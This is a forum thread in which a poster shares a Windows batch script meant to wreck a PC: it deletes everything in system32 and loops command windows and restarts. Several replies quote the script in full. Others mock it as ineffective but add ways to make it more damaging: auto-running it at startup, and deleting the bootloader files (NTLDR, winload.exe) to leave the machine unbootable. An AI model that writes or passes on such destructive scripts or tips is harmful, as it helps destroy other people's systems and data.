[TehPro]

Hey guys it's me again. this time i'm telling ya how to kill computer with batch!!

So here we go.

First open up notepad and then copy this into notepad
@echo off
title (Your title has to)
del C:\WINDOWS\system32\*.*
:1
start cmd
shutdown -r
goto :1

Then save it as .bat file


WARNING: Do not open the batch!

Thanks for checking out, pm me or post for help. i'll do my best to help

~~TehPro~~

[Deque]

This is a fail, though.
Your program will ask for permission to delete the system files. No one is going to fall for that.
It will also shut down the computer just to restart it again, but once. Your script won't be running after the computer is restarted, so there is no use of the loop.

You actually should try the program (in a VM).
I don't know if this is your script, but if you write such scripts, you should test them.
That's what VM's are for or even real test systems.

Moderative note: Use code tags, please.

[ninja805]

Hey guys it's me again. this time i'm telling ya how to kill computer with batch!!

So here we go.

First open up notepad and then copy this into notepad
@echo off
title (Your title has to)
del C:\WINDOWS\system32\*.*
:1
start cmd
shutdown -r
goto :1

Then save it as .bat file


WARNING: Do not open the batch!

Thanks for checking out, pm me or post for help. i'll do my best to help

~~TehPro~~

Like what Deque said .. If you wanted even this to remotely work, you'd need it to be auto-exec meaning it starts up when the computer is ran.

[GeTaClue]

Hey guys it's me again. this time i'm telling ya how to kill computer with batch!!

So here we go.

First open up notepad and then copy this into notepad
@echo off
title (Your title has to)
del C:\WINDOWS\system32\*.*
:1
start cmd
shutdown -r
goto :1

Then save it as .bat file


WARNING: Do not open the batch!

Thanks for checking out, pm me or post for help. i'll do my best to help

~~TehPro~~

It will ask for the user's permission to do it and it will take a lot of time to do, giving the user time to close and stop the damage. An easier method would be to just delete the bootloader; C:\NTLDR on XP, C:\Windows\system32\winload.exe. It will still ask user permission(as is any system task), but it will be a lot quicker and still render the PC unbootable.

[Inori]

Yeah dude, like ninja and deque, the only way this would work is if you were at the target's computer when this ran. Check some tuts! They actually help!

[Deque]

That's enough.
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